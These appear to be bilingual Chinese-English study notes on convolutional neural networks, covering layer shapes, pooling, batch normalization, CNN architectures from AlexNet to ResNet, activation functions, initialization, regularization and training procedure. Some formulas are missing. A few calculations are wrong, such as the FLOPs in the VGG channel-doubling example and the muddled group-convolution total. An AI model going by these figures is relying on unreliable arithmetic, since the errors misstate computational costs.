对于一个3x32x32的图像,如果使用6个3x5x5的filter,对于每一个位置,会进行一个3x5x5=75的两个张量的内积运算再加上一个bias,然后得到一个值。对应到输出图像的一个位置。这样的操作会进行6次,所以输出维度是6x28x28。有六个filter张量,当然也会有一个6维的bias。
For the output of the convolutional layer, we can consider them as
- 6 activation maps,each 1x28x28
- 28x28 grid,at each point,6-dimensional vector
Multiple input¶
对于2个3x32x32的图像,如果使用6个3x5x5的filter,对于每一个位置,会进行一个3x5x5=75的两个张量的内积运算再加上一个bias,然后得到一个值。对应到输出图像的一个位置。这样的操作会进行6次,有2个输入,所以输出维度是2x6x28x28。有六个filter张量,当然也会有一个6维的bias。
Summary
- input \(N \times C_{in} \times H \times W\)
- filter \(C_{out} \times C_{in} \times k \times k\)
- bias \(C_{out}\)
- output \(N \times C_{out} \times H' \times W'\)
\(C_{in}\) will disappear in the output since it is the same in the input and the filter.
Connect multiple hidden layers¶
通过依次过滤之后得到一些activation maps,然后把这些activation maps作为输入,再进行过滤,得到更多的activation maps。如果中间只是简单的连接,那么完全可以用另外一些filters来代替,因为这一过程仍然是线性的。 所以需要激活函数(eg.ReLU)来引入非线性。这样的连接才会make sense。
what do convolutional filters learn
-
for linear classifier,the weight matrix(C,D);each row could reshape as a template image.多少种类别就有多少个模板。
-
for neural network,the weight matrix W1(H,D);each row could reshape as a Bank of whole-image templates与Hidden Layer H个神经元一一对应。
-
for convolutional neural network, local image templates (Often learns oriented edges, opposing colors),表现局部特征
AlexNet: 64 filters,each3x11x11
padding¶
For input size \(W\times W\),filter size \(k\times k\)
The output size is \((W-k+1)\times (W-k+1)\)
This is a problem because the output size is smaller and smaller.
By adding additional pixels around the input image(usually 0 padding), we can control the output size.
Therefore, the output size is
Receptive Field¶
在卷积神经网络(CNN)中,激活的感受野(receptive field)是指输入图像中对某个激活值影响最大的区域。换句话说,感受野是指在输入图像中,某个特定的神经元(或激活值)能够“看到”或“感知到”的那一部分区域。感受野的大小和位置会影响神经网络对图像特征的提取和理解。
输出图像的某一个点,是由以输入图像对应点为中心的\(K \times K\)的区域决定的。\(K\)是filter的尺寸。
Each successive convolution adds \(K – 1\) to the receptive field size With \(L\) layers the receptive field size is \(1 + L * (K – 1)\)
这个也不难理解,以上图最后的输出图像的中心位置的元素为例(假设其为C3,有C2,C1,C0),它在前一层C2的感受野是\(K \times K\),而这\(K \times K\)的区域的感受野是C3区域中,中心位于其中的filter的感受野,要考虑其大小,只需要在四个角扩展边长即可,边长会增加\((K-1)/2 * 2=K-1\).
所以对于\(L\)层,感受野的大小是\(1\)(末层感受野)+\(L*(K-1)\),(L次扩展)
Problem: For large images we need many layers for each output to “see” the whole image
Stride¶
Solution: Downsample inside the network
By increasing the stride, we extend the receptive field.
Now the output size should be
1是一开始的位置,\((W-k+2P)/S\)是接下来可选的位置。
Example
Input volume: 3 x 32 x 32, 10 3x5x5 filters with stride 1, pad 2
Output volume: 10x((32-5+2*2)/1+1)=10x32x32 (Whoa,same size!)
Number of learnable parameters:
- Parameters per filter: \(5 \times 5 \times 3 + 1 = 76\)
- Total: \(10 \times 76 = 760\)
Number of multiply-add operations:
Other types of convolution
目前为止看到的是2D的卷积,实际上还有1D和3D的卷积。
1D的卷积:
- 输入:\(C_{in} \times L\)
- 输出:\(C_{out} \times (L-K+1)\)
- 参数:\(C_{out} \times C_{in} \times K\)
对于一个输入,一个filter对这个输入操作完后只会得到一个Vector,然后多个filter就会得到多个Vector
3D的卷积:
- 输入:\(C_{in} \times H \times W \times D\)
- 输出:\(C_{out} \times (H-K+1) \times (W-K+1) \times (D-K+1)\)
- 参数:\(C_{out} \times C_{in} \times K \times K \times K\)
实际上已经可以总结出卷积之后的维度取决于filter在输入上移动的自由度
Summary
- Input: \(C_{in} \times H \times W\)
- Hyperparameters:
- Kernel size: \(K_H \times K_W\)
- Number of filters: \(C_{out}\)
- Padding: \(P\)
- Stride: \(S\)
- Weight matrix: \(C_{out} \times C_{in} \times K_H \times K_W\) (giving \(C_{out}\) filters of size \(C_{in} \times K_H \times K_W\))
- Bias vector: \(C_{out}\)
-
Output size: \(C_{out} \times H' \times W'\) where:
\[ H' = \frac{H - K + 2P}{S} + 1 \]\[ W' = \frac{W - K + 2P}{S} + 1 \]
Pooling Layers¶
Pooling layer is a downsampling layer.
在卷积神经网络(CNN)中,池化(Pooling)层是一种下采样层,用于减少特征图的尺寸,同时保留重要的特征信息。池化层的主要目的是降低计算复杂度、减少内存使用,并在一定程度上控制过拟合。
Types of Pooling¶
- Max Pooling:
- 在一个池化窗口内选择最大值作为输出。
- 这种方法可以保留最显著的特征。
- Average Pooling:
- 在一个池化窗口内计算平均值作为输出。
- 这种方法可以平滑特征图。
Parameters of Pooling¶
- 池化窗口大小(Kernel Size):定义了池化操作的区域大小。
- 步幅(Stride):定义了池化窗口在特征图上移动的步长。
- 填充(Padding):有时会在特征图的边缘添加额外的像素,以便池化窗口可以完全覆盖特征图。
Effect of Pooling¶
- 降维:通过减少特征图的尺寸,降低了模型的计算复杂度。
- 特征不变性:通过池化操作,模型对输入的微小变化(如平移、旋转)具有更强的鲁棒性。
- 防止过拟合:通过减少参数数量,降低了模型过拟合的风险。
池化层通常在卷积层之后使用,以便在提取特征后进行下采样。
Summary
Key characteristics of pooling layers:
- Input size: \(C \times H \times W\)
- Hyperparameters:
- Kernel size: \(K\)
- Stride: \(S\)
- Pooling function: max pooling or average pooling
-
Output size: \(C \times H' \times W'\) where:
\[ H' = \frac{H - K}{S} + 1 \]\[ W' = \frac{W - K}{S} + 1 \] -
Learnable parameters: None
实际上是与卷积filter的作用是类似的,都是把一个局部映射成一个值来缩小,但池化比较EZ。且池化不会改变通道数。
Example
in fact,the max pooling already add some non-linearity to the network,some after this, if we don't use ReLU,the result is still correct.
Batch Normalization¶
Idea: “Normalize” the outputs of a layer so they have zero mean and unit variance
Why?Because Deep Networks are very hard to train!
进行批量归一化(Batch Normalization)的主要原因是为了减少“内部协变量偏移”(internal covariate shift),从而改善模型的优化过程。具体来说,批量归一化通过将每一层的输出标准化为零均值和单位方差,来稳定和加速神经网络的训练过程。这种标准化操作是可微的,因此可以在网络中作为一个操作符使用,并通过反向传播进行训练。
具体来说
(Running) average of values seen during training
(Running) average of values seen during training
\(\epsilon\) is a small constant to avoid division by zero.
\(\gamma\) and \(\beta\) are learnable parameters,when \(\gamma=\sigma\) and \(\beta=\mu\),the output is the same as the input.
上面展示的是按Batch的计算,即按样本计算,最后会得到\(1 \times D\)的均值和方差张量,然后进行广播,得到\(N \times D\)的均值和方差张量。
还有按layer和Instance的计算
CNN Architectures in history¶
约 2980 个字 22 张图片 预计阅读时间 10 分钟
AlexNet¶
AlexNet 是一种深度卷积神经网络(CNN)架构,由 Alex Krizhevsky、Ilya Sutskever 和 Geoffrey Hinton 在 2012 年开发。它在 ImageNet 大规模视觉识别挑战赛(ILSVRC)中取得了显著的成功,标志着深度学习在计算机视觉领域的突破。
池化层的FLOP相对卷积层来说很小,可以忽略不计
大部分的Memory都在卷积层,大部分的超参数都在展平之后,因为这里需要把256*6*6展平成9216,再变成4096,需要矩阵的大小为9216*4096;
而浮点数的乘法加法运算集中在卷积层;
ZFnet¶
ZFNet 是由 Matthew Zeiler 和 Rob Fergus 开发的一种卷积神经网络架构。它于 2013 年推出,作为 AlexNet 的改进版本,主要关注于更好地可视化和理解 CNN 的中间层。
CONV1: 7x7, instead of 11x11 减小了滤波器的大小,使得原本图像的信息损失更少;
CONV3,4,5: instead of 384, 384, 256 filters use 512, 1024, 512 增加了通道数,增加了模型的复杂度;
与AlexNet一样,模型的得出都是通过实验得出的,而不是理论推导;
VGG¶
VGG 是由牛津大学的 Visual Geometry Group 开发的一种深度卷积神经网络架构。VGG 网络以其简单而深度的结构著称,通常使用 3x3 的卷积核和 2x2 的池化层。
- 深度: VGG 网络有多种变体,最常见的是 VGG16 和 VGG19,分别包含 16 和 19 个权重层。
- 卷积核: 使用小的 3x3 卷积核,能够捕捉到更细致的特征。
- 池化层: 使用 2x2 的最大池化层来减小特征图的尺寸。
- 全连接层: 在卷积层之后,通常有几个全连接层,用于分类任务。
VGG 网络在 2014 年的 ImageNet 大规模视觉识别挑战赛中表现优异,展示了深度网络在图像识别任务中的强大能力。
Features of VGG¶
All conv are 3x3 stride 1 pad 1,即通过3x3的卷积核,stride为1,padding为1,来代替大尺寸的卷积核,从而减少参数量和计算量;
Example
-
Option1: Conv(5x5,C,C),即一个5x5的卷积核,输入通道为C,有C个这样的卷积核,output size为 \(H\times W\times C\)
-
Params: \(5*5*C*C=25C^2\)
-
FLOPs: \((H*W*C)*(5*5*C)=25HWC^2\)
-
Option2: tow Conv(3x3,C,C),即一个3x3的卷积核,输入通道为C,有C个这样的卷积核,output size为 \(H\times W\times C\),经过两层3x3的卷积,由于从后往前每一次感受野增加K-1,所以总感受野为\(1+2(K-1)=2K-1=5\),与5x5的卷积的感受野相同,但是
-
Params: \(2*(3*3*C*C)=18C^2\)
- FLOPs: \((H*W*C)*(3*3*C)*2=18HWC^2\)
超参数和计算量都比5x5的卷积小
All max pool are 2x2 stride 2,After pool, double #channel
Example
- Option1: Input: \(C \times 2H \times 2W\), Layer: Conv(3x3, \(C \rightarrow C\))
- Memory: \(4HWC\)
- Params: \(9C^2\)
-
FLOPs: \((2H*2W*C)*(3*3*C)=18HWC^2\)
-
Option2: Input: \(2C \times H \times W\), Layer: Conv(3x3, \(2C \rightarrow 2C\))
- Memory: \(2HWC\)
- Params: \(9(2C)^2=36C^2\)
- FLOPs: \((H*W*2C)*(3*3*2C)=36HWC^2\)
池化操作会减少特征图的空间尺寸(即宽度和高度),从而降低计算复杂度。通过增加通道数,可以在不增加计算量的情况下,保持或增加模型的表达能力。
AlexNet vs VGG¶
从图中可以直观的看出VGG远比AlexNet深,且参数更多,计算量更大;这说明更深的网络可以获得更好的性能,可以处理更复杂的特征;
GoogLeNet¶
Focus on efficiency
GoogLeNet 是一种深度卷积神经网络架构,由 Google 的研究团队开发,并在 2014 年的 ImageNet 大规模视觉识别挑战赛中取得了优异的成绩。GoogLeNet 的一个显著特点是引入了 Inception 模块,这种模块化设计使得网络能够在保持计算效率的同时,增加深度和宽度。
Stem network¶
at the start aggressively downsamples input
将输入的大数据进行下采样(3x224x224) -> (192x28x28)
Inception Module¶
Local unit with parallel branches
Inception模块的设计允许在 并行 的情况下使用多种滤波器尺寸(例如1x1、3x3、5x5)进行卷积,从而使网络能够捕捉不同尺度的特征。
它还包括一个池化操作。这些操作的输出在深度维度上进行连接,这有助于网络在不显著增加计算成本的 情况下学习更复杂的特征。
这使得局部特征在可以重复出现很多次;
- 1x1卷积:减少通道数,降低后面卷积网络的计算量;
- 3x3卷积:捕捉局部特征;
- 5x5卷积:捕捉更大范围的特征;
- 池化操作:捕捉全局特征;
经过不同卷积核的卷积操作(为了让输出的大小一致,这其中也使用的padding),最后将所有输出在深度维度上进行连接;
Global Average Pooling¶
No large FC layers at the end! Instead uses global average pooling to collapse spatial dimensions, and one linear layer to produce class scores (Recall VGG-16: Most parameters were in the FC layers!)
在AlexNet中最后需要将整个输入展平成一个向量,然后进行全连接操作,而在GoogLeNet中,最后使用一个大小与输入大小相同的卷积核,然后进行全局平均池化,得到了一个紧凑的向量,然后进行单层全连接,大大减小了参数量和计算量;
Info
无论是GoogleNet还是VGG,当时都没有Batch Normalization,所以训练多层网络时很困难,为了解决这个问题,它们都是用了一些辅助分类器来使得训练可以正确进行;
在网络的多个中间点附加“辅助分类器”,这些分类器也尝试对图像进行分类并接收损失。这种方法帮助改善梯度传播问题。
有了BatchNorm后,就不再需要使用这种技巧来改善训练。
ResNet¶
2015年,ResNet在ImageNet竞赛中取得了惊人的成绩,其错误率仅为3.57%,远低于第二名(4.75%);同时ResNet的层数达到了惊人的152层!
Once we have Batch Normalization, we can train networks with 10+ layers. What happens as we go deeper?
按理说,网络越深,效果应该越好,因为深层的网络可以通过让其中一些层做恒等变换来拟合浅层的网络,但是一开始人们却发现:
Why?
深层模型在优化上更具挑战性,特别是在学习恒等函数以模拟浅层模型时。这是因为随着网络深度的增加,模型的参数和复杂性也随之增加,这使得优化过程变得更加困难。
Solution
Change the network so learning identity functions with extra layers is easy!
通过引入残差块来使得数据可以跳过一些层,从而使得数据可以更容易地学习到恒等函数,从而避免出现欠拟合的现象;
如果我们把中间的卷积层设置为0,这就是一个恒等连接~
具体来说:
ResNet通过引入残差块来解决深层网络的退化问题。残差块通过“跳跃连接”(skip connection)将输入直接传递到输出,允许网络学习残差映射(即,期望的输出与输入之间的差异),而不是直接学习复杂的映射。这种设计使得网络更容易优化。
在残差块中,输入通过一个或多个卷积层后,与原始输入相加。这种跳跃连接可以帮助梯度更好地反向传播,缓解梯度消失问题。
通过使用残差块,ResNet能够有效地训练非常深的网络(如152层),而不会出现退化问题。这是因为即使在深层网络中,跳跃连接也能确保信息流的顺畅传递。
Structure of ResNet¶
相同颜色的是一个Block
Like GoogleNet:
- At the beginning, aggressively downsamples input using stem network
- At the end of convolutional layers, use global average pooling to collapse spatial dimensions, and one linear layer to produce class scores
2 major ResNet Structures
ResNet-18
- Stem: 1 conv layer
- Stage 1 (C=64): 2 res. block = 4 conv
- Stage 2 (C=128): 2 res. block = 4 conv
- Stage 3 (C=256): 2 res. block = 4 conv
- Stage 4 (C=512): 2 res. block = 4 conv
- Linear
- ImageNet top-5 error: 10.92
- GFLOP: 1.8
ResNet-34
- Stem: 1 conv layer
- Stage 1: 3 res. block = 6 conv
- Stage 2: 4 res. block = 8 conv
- Stage 3: 6 res. block = 12 conv
- Stage 4: 3 res. block = 6 conv
- Linear
- ImageNet top-5 error: 8.58
- GFLOP: 3.6
Block design¶
Bottleneck Block¶
在ResNet中,Bottleneck Block是一种特殊的残差块设计,用于在保持网络深度的同时减少计算量和参数量。Bottleneck Block通过引入1x1卷积层来压缩和扩展特征通道,从而提高网络的效率。
-
1x1卷积层(压缩): 这个层用于减少输入特征图的通道数,从而降低计算复杂度。它起到压缩特征的作用。
-
3x3卷积层: 这是一个标准的卷积层,用于在压缩后的特征图上进行卷积操作,提取特征。
-
1x1卷积层(扩展): 这个层用于将特征图的通道数恢复到原始输入的大小。
通过在3x3卷积前后使用1x1卷积,Bottleneck Block能够在不显著增加计算量的情况下增加网络的深度。这种设计使得ResNet可以在更深的网络中保持高效的计算性能。Bottleneck Block特别适合用于非常深的网络(如ResNet-50、ResNet-101、ResNet-152),因为它能够在保持网络深度的同时控制计算复杂度。
Relu position¶
ReLU after residual addition Cannot actually learn identity function since outputs are nonnegative
通过在卷积之前应用批归一化和ReLU,预激活结构可以更好地保留输入信息,使得学习恒等映射更容易。这种设计改善了梯度流动,帮助网络更有效地训练。
这种调整虽然带来了轻微的性能提升,但由于复杂性增加,在实际应用中并不总是采用。
Summary¶
在图像分类比赛中,以下是各种神经网络的复杂度和性能的总结:
Group Convolution¶
传统的卷积操作中, 每个卷积核的通道数与输入的通道数相同, 即一个卷积核的通道数为\(C_{in}\)。
而Group Convolution将输入通道分成若干组(Groups),每组独立进行卷积操作,最后合并结果。
输入通道被均分为 \( G \) 组,每组有 \( C/G \) 个通道。
每个卷积核也对应分成 \( G \) 组,每组卷积核仅处理对应的输入通道组。
每个Group也可以多个卷积核
各组卷积结果在通道维度拼接,形成最终输出。
Group Convolution
- input: \(C_{in} \times H \times W\)
- output: \(C_{out} \times H \times W\)
- weight: \(G \times \dfrac{C_{out}}{G} \times \dfrac{C_{in}}{G} \times K \times K\)
- FLOPS: \(C_out \times H \times W \times K \times K \times \dfrac{C_{in}}{G}\)
如果是常规的卷积,那么\(G=1\),FLOPS: \(C_out \times H \times W \times K \times K \times C_{in}\)
计算量直接变为\(\dfrac{1}{G}\)
并行性增强:各组可并行计算(如在多GPU训练中)。
模型表达能力调整:通过调整组数 \( G \),平衡效率与性能(如ResNeXt通过增加组数提升性能)。
在torch.nn.Conv2d中,可以通过groups参数设置分组卷积。
Example
对于常规的卷积操作,其FLOPS为:
- 第一层:\(HWC \times 4C\times 1\times 1\)
- 第二层:\(HWC \times C\times 3\times 3\)
- 第三层:\(4HWC \times C\times 1\times 1\)
总的为\(17HWC^2\)
对于Parallel Convolution,每一小组的\(C_{out}\)为\(c\)
每一小组的FLOPS为
- 第一层:\(HWc \times 4C \times 1\times 1\)
- 第二层:\(HWc \times c\times 3\times 3\)
- 第三层:\(HWc \times 4c\times 1\times 1\)
总的为\(G(8Cc+9c^2)HWG\),通过设置不同的参数可以实现一样的计算量
Training Neural Networks¶
约 5146 个字 3 行代码 17 张图片 预计阅读时间 18 分钟
Activation Functions¶
Sigmoid¶
Sigmoid function is defined as:
其输出在(0,1)之间,当\(x\)趋近于正无穷时,\(\sigma(x)\)趋近于1,当\(x\)趋近于负无穷时,\(\sigma(x)\)趋近于0。
主要的问题有:
-
梯度消失(Kill the gradient):当\(x\)趋近于正无穷或负无穷时,\(\sigma(x)\)的梯度趋近于0,这会导致反向传播时出现导致梯度消失。
-
输出不是以0为中心的。也就是说,它的输出总是正的。而在神经网络中,下一层隐藏层和上一层的关系为
local stream对于weight matrix的求导会得到\(\sigma \left( h_j^{(\ell-1)} \right)\),但是由于它总是正的,所以down stream的符号永远和upstream的符号相同。
这将会导致loss function对于weight matrix的梯度永远为正或者永远为负;如果现在有两个权重矩阵\(W_1\)和\(W_2\)
假设\(x\)轴代表\(W_1\),\(y\)轴代表\(W_2\),一开始的loss在原点,需要朝着第四象限移动,即要求\(dW_1\)为正而\(dW_2\)为负,但是由于\(\sigma \left( h_j^{(\ell-1)} \right)\)总是正的,所以\(dW_1\)和\(dW_2\)的符号总是相同的,这将会导致其只能以诡异的之字形下降。
- 计算复杂度高:Sigmoid函数需要计算指数运算,在硬件实现上其计算比其他激活函数更复杂。(但是如果在GPU上计算,由于GPU移动数据的时间已经很大,往往计算时间差别不大。)
tanh¶
tanh函数定义为:
其输出在(-1,1)之间,当\(x\)趋近于正无穷时,\(\tanh(x)\)趋近于1,当\(x\)趋近于负无穷时,\(\tanh(x)\)趋近于-1。
解决了Sigmoid的输出不是以0为中心的问题,但是仍然有梯度消失的问题存在.
ReLU¶
ReLU函数定义为:
在正区域不饱和
当输入值增加时,函数的输出不会达到最大限制。换句话说,随着输入值变得越来越大,激活函数的输出会继续增加,而不会接近一个固定的上限。
在正区域(即当 \( x > 0 \) 时),ReLU 的输出等于输入 \( x \)。这意味着当 \( x \) 增加时,输出也线性增加而不会饱和。这个特性有助于缓解深度神经网络训练中的梯度消失问题,因为对于正输入值,梯度保持显著。
相比之下,像 Sigmoid 或 tanh 这样的激活函数在正负区域都会饱和。对于较大的正输入值,Sigmoid 函数的输出接近 1,而 tanh 函数的输出也接近 1。这种饱和可能导致非常小的梯度,从而在反向传播过程中引发梯度消失问题。
同时,ReLU的计算速度比Sigmoid和tanh快很多,因为ReLU只需要一个比较运算。
不过RelU也有问题,因为它不是以0为中心的
而且存在 Dead ReLU 的问题,当\(x<0\)时,ReLU的输出为0,这会导致梯度为0,从而导致神经元死亡。
Leaky ReLU¶
Leaky ReLU函数定义为:
为了解决Dead ReLU的问题,Leaky ReLU引入了一个小的斜率,当\(x<0\)时,输出为\(0.01x\)。这样它就不会die。
Parametric ReLU¶
Parametric ReLU函数定义为:
其中\(\alpha\)是一个可学习的参数,可以参与反向传播.
ELU¶
ELU函数定义为:
-
更接近零均值输出:ELU 函数的输出更接近于零均值,这有助于加速神经网络的学习过程。与 ReLU 不同,ELU 在负值区域有一个负的输出,这使得其输出的均值更接近于零,从而有助于减少偏移(bias shift)问题。
-
负饱和区域:ELU 在负值区域有一个负的饱和输出,这与 ReLU 的零输出不同。这种特性可以帮助网络在负值区域保持一定的梯度,从而避免神经元死亡的问题。
-
相较于 Leaky ReLU 增加了一些对噪声的鲁棒性:ELU 的负指数部分使其在负值区域的变化更加平滑,这可以增加对输入噪声的鲁棒性。相比之下,Leaky ReLU 在负值区域的线性变化可能对噪声更敏感。
这些特性使得 ELU 在某些情况下比 ReLU 和 Leaky ReLU 更加有效,尤其是在深度神经网络的训练中。
SeLU¶
SeLU函数定义为:
通过设置 \(\alpha = 1.6732632423543772848170429916717\) 和 \(\lambda = 1.0507009873554804934193349852946\),可以使得其有很好的表现。
但是总的来说,使用ReLU在大部分下就足够了。
Data Preprocessing¶
zero-center¶
对数据进行zero-center处理,即减去均值,可以将数据平移到原点附近,从而使得数据更加对称。
normalize¶
对数据进行normalize处理,即除以标准差,可以使得数据更加稳定。
如果不进行以上两步的处理,首先有可能会出现之字形下降的问题,其次如果说classifier穿过原点,而数据在离原点很远的地方,那么其对于微小变化会非常敏感,从而导致模型不稳定,也难以优化
PCA and Whitening¶
PCA(主成分分析)的主要目的是降维,即在保留数据中大部分信息的同时,减少数据的维度。这有助于降低计算复杂度和减少噪声。
PCA通过线性变换将原始数据投影到一个新的坐标系中。这个新坐标系的轴(称为主成分)是数据方差最大的方向。第一个主成分是数据方差最大的方向,第二个主成分是与第一个主成分正交且方差次大的方向,依此类推。
计算数据的协方差矩阵。
计算协方差矩阵的特征值和特征向量。
选择前 \(k\) 个最大特征值对应的特征向量作为主成分。
将数据投影到这些主成分上。
白化的目的是将数据的特征去相关化,并使每个特征的方差为1。这有助于消除特征之间的线性相关性,使得数据在各个方向上具有相同的尺度。
白化是对PCA的进一步处理。通过对PCA变换后的数据进行缩放,使得每个主成分的方差为1。
首先进行PCA,得到主成分。
对PCA变换后的数据进行缩放,使得每个主成分的方差为1。这通常通过除以每个主成分的标准差来实现。
Weight Initialization¶
对于权重矩阵的初始化也是需要考虑的,如果说权重矩阵初始化为0,那么就无法进行训练,因为所有神经元的输出都是0;常见的初始化是满足高斯分布(正态分布),的随机初始化
在numpy中np.random.randn会生成一个均值为0,方差为1的正态分布的随机数。再乘以0.01,可以使得初始的权重矩阵的值比较小,同时标准差(std)变为0.01。在简单的网络中这表现得还不错,但是在比较大型的网络中就表现得比较差
如果说weight-scale比较小,由于activations(f(weight*input))随着神经网络的加深可能会变的集中在0附近
这将会导致所有的输出都趋近于0,从而导致梯度消失的问题。
可是如果weight-scale比较大,神经网络的激活函数可能会进入饱和状态(saturation)。这是因为大权重会导致输入到激活函数的值变得很大,从而使得激活函数的输出趋于其极限值。(sigmoid or tanh),同样也会导致local stream=0 and no learning。
Xavier Initialization¶
究其原因,我们希望恰当的初始化,使得经过一层layer后,output的分布不会发生太大的变化,对于Gaussian distribution,希望和input的std一致.
暂时忽略bias
假设\(W\)和\(x\)独立,\(W\)的每个元素也独立同分布,则
那么就希望
所以在初始化时,所有weight的初始化应该满足
He Initialization¶
ReLU
MSRA初始化,也称为He初始化,是一种用于神经网络权重初始化的方法。它是由何恺明(Kaiming He)及其同事在2015年提出的,专门为ReLU(Rectified Linear Unit)及其变体设计的初始化方法。MSRA初始化的目的是解决深层神经网络中梯度消失和梯度爆炸的问题。
MSRA初始化的基本思想是:为了保持信号在网络的前向传播和反向传播过程中具有适当的方差,权重应该根据输入的数量进行缩放。具体来说,MSRA初始化建议将权重从一个均值为0、方差为 \(\frac{2}{\text{fan\_in}}\) 的高斯分布中抽取,其中 \(\text{fan\_in}\) 是输入层的神经元数量。
-
ReLU的特性: ReLU激活函数在正区域是线性的,而在负区域输出为0。为了确保信号在通过ReLU时不会过于衰减或放大,MSRA初始化选择了 \(\frac{2}{\text{fan\_in}}\) 作为方差。这是因为ReLU激活函数会使得大约一半的输入为0,因此需要更大的方差来补偿。
-
信号的稳定性: 通过这种初始化,信号在网络的每一层中保持稳定的方差,从而避免了梯度消失或梯度爆炸的问题。
Residual Network¶
如果以ReLU为激活函数,以MSRA初始化,那么Var(F(x))=Var(x),Var(F(x)+x)不等于Var(x),解决方法是第二层权重矩阵直接初始化为0,这样就可以有Var(F(x)+x)=Var(x)。
Regularization¶
除了常见的L1,L2,Elastic Net正则化之外,还有一些其他的方法。
Dropout¶
Dropout 是一种用于防止神经网络过拟合的正则化技术。它通过在训练过程中随机地“丢弃”一部分神经元来实现。这种方法可以有效地减少模型对训练数据的过拟合,从而提高模型的泛化能力。
-
随机丢弃神经元: 在每次训练迭代中,Dropout 会以一定的概率 \( p \) 随机地将一些神经元的输出设置为零。这意味着这些神经元在当前的前向传播和反向传播中被忽略。
-
缩放激活: 为了保持输出的期望值不变,在训练过程中,未被丢弃的神经元的输出会被缩放(通常是除以 \( 1-p \))。这样可以确保在测试时,网络的输出不会因为Dropout而变得不稳定。
-
测试阶段: 在测试阶段,Dropout 不会丢弃任何神经元,而是使用所有神经元的完整网络结构进行预测。
DropConnect¶
DropConnect 是一种用于防止神经网络过拟合的正则化方法。与 Dropout 随机丢弃神经元不同,DropConnect 随机丢弃的是权重连接。这意味着在每次训练迭代中,网络的权重矩阵会被随机稀疏化。
-
工作原理:
- 在每次训练迭代中,DropConnect 会以一定的概率 \( p \) 随机地将一些权重设置为零。这意味着这些权重在当前的前向传播和反向传播中被忽略。
- 这种方法可以看作是对权重矩阵的随机稀疏化,而不是对激活值的稀疏化。
- 在测试阶段,DropConnect 不会丢弃任何权重,而是使用所有权重的完整网络结构进行预测。
-
优点:
- DropConnect 可以有效地减少模型对训练数据的过拟合,从而提高模型的泛化能力。
- 由于它是对权重进行稀疏化,因此可以在某些情况下提供比 Dropout 更好的正则化效果。
-
实现:
- 在实现 DropConnect 时,通常会在每次前向传播时生成一个与权重矩阵相同大小的二进制掩码矩阵。这个掩码矩阵决定了哪些权重在当前迭代中被丢弃。
Data Augmentation¶
Data Augmentation 是一种用于提高神经网络泛化能力的正则化技术。它通过在训练过程中生成新的训练样本,从而增加训练数据集的多样性。
- 在训练过程中,Data Augmentation 会对原始训练样本进行各种变换,生成新的训练样本。
- 这些变换可以是图像的旋转、翻转、裁剪、缩放等几何变换,也可以是图像的亮度、对比度、饱和度等颜色变换。
Mixup¶
Mixup 是一种用于提高神经网络泛化能力的正则化技术。它通过在训练过程中生成新的训练样本,从而增加训练数据集的多样性。
例如将猫和狗的图片进行mixup,得到新的训练样本。
Learning rate¶
非常大的learning rate会导致模型震荡,甚至不收敛。
高learning rate会导致模型在训练初期就进入饱和状态,从而导致模型无法达到比较低的loss。
低learning rate会导致模型收敛速度变慢,训练时间变长。
好的learning rate应该在训练初期和训练后期都能保持一个比较好的学习速度,并把loss降到最低。
Step decay¶
Step decay 是一种用于调整学习率的策略。它在训练过程中定期降低学习率。
ResNet所使用的就是这种策略
Cosine decay¶
Cosine decay 是一种用于调整学习率的策略。它在训练过程中使用余弦函数来调整学习率。
这个会比较好,因为它没有引入额外的超参数,只需要设置一个初始学习率和训练的epoch数。但是这本来就是需要设置的.
linear decay¶
linear decay 是一种用于调整学习率的策略。它在训练过程中使用线性函数来调整学习率。
Inverse sqrt¶
Constant¶
一般而言,不应该在一开始就过分关注学习率;即使使用constant,也会达到比较好的效果。
Hyperparameter Optimization¶
Grid Search¶
Grid Search 是一种用于超参数优化的方法。它在训练过程中使用网格搜索来调整超参数。
即给定一个超参数的搜索空间,然后在这个空间中进行搜索,找到最优的超参数。
Random Search¶
Random Search 是一种用于超参数优化的方法。它在训练过程中使用随机搜索来调整超参数。
即给定一个超参数的搜索空间,然后在这个空间中进行随机搜索,找到最优的超参数。
一般而言,Random Search 比 Grid Search 效果更好,因为它允许超参数的搜索空间更大,从而找到更优的超参数,有可能某些超参数对于结果的影响并不是很大,而有些超参数对于结果的影响比较大。
例如下面的例子
空间上的点代表超参数的组合,绿色的曲线代表其中一个超参数对于结果的影响,橙色的曲线代表另一个超参数对于结果的影响。可以看到,如果使用Grid Search,那么对于绿色曲线比较难找到比较好的超参数,而如果使用Random Search,那么就可以找到比较好的超参数。,因为它覆盖了更多的情况。
Steps when training¶
Step1¶
Check initial loss
Turn off weight decay, sanity check loss at initialization
e.g. log(C) for softmax with C classes
why? 一开始估计每个类别的概率是等可能的,即loss=\(-log(\frac{1}{C})=log(C)\)
Step2¶
Overfit a small sample
尝试在一小部分训练数据(大约5-10个小批量)上训练到100%的训练准确率;可以调整网络结构、学习率和权重初始化。关闭正则化。
- 如果损失没有下降,可能是学习率太低或初始化不佳。
- 如果损失爆炸到无穷大或NaN,可能是学习率太高或初始化不佳。
Step3¶
Find LR that makes loss go down
使用上一步中的网络结构,使用所有训练数据,开启小的权重衰减,找到一个能在大约100次迭代内显著降低损失的学习率。
Step4¶
Coarse grid, train for ~1-5 epochs
选择几个接近步骤3中有效的学习率和权重衰减值,训练几个模型大约1-5个周期。
Step5¶
Refine grid, train longer
改进步骤4中有效的学习率和权重衰减值,训练更长的时间。
Step6¶
Look at learning curves
如果loss一开始很平缓,有可能是初始化没做好; 如果loss一开始下降很快,有可能是学习率太高;Try decay; 如果train_acc的gap比较小,那么欠拟合; 如果val_acc的gap比较大,且train_acc上升但是val_acc下降,那么过拟合;
Step7¶
Go back to step 5;
确定好大致结构之后就开始调参。
Model ensembles¶
在神经网络中,模型集成(Model Ensembles) 是一种提高模型性能和泛化能力的技术。它通过结合多个模型的预测结果来获得更好的整体预测效果。以下是模型集成的关键概念:
模型集成涉及训练多个独立的模型,然后将它们的预测结果进行组合。每个模型可能在不同的数据子集上训练,或者使用不同的初始化和超参数。
通过结合多个模型的预测,集成方法可以减少单个模型的偏差和方差,从而提高整体模型的泛化能力。
-
优点:
- 提高准确性: 通过结合多个模型的预测,集成方法通常能获得比单个模型更高的准确性。
- 降低过拟合风险: 由于集成方法结合了多个模型的预测,它们通常比单个模型更不容易过拟合。
-
缺点:
- 计算成本高: 训练和评估多个模型需要更多的计算资源和时间。
- 复杂性增加: 管理和调试多个模型的集成可能会增加系统的复杂性。
例如在图像分类中,可以训练多个模型,然后对它们的预测结果进行平均或投票。
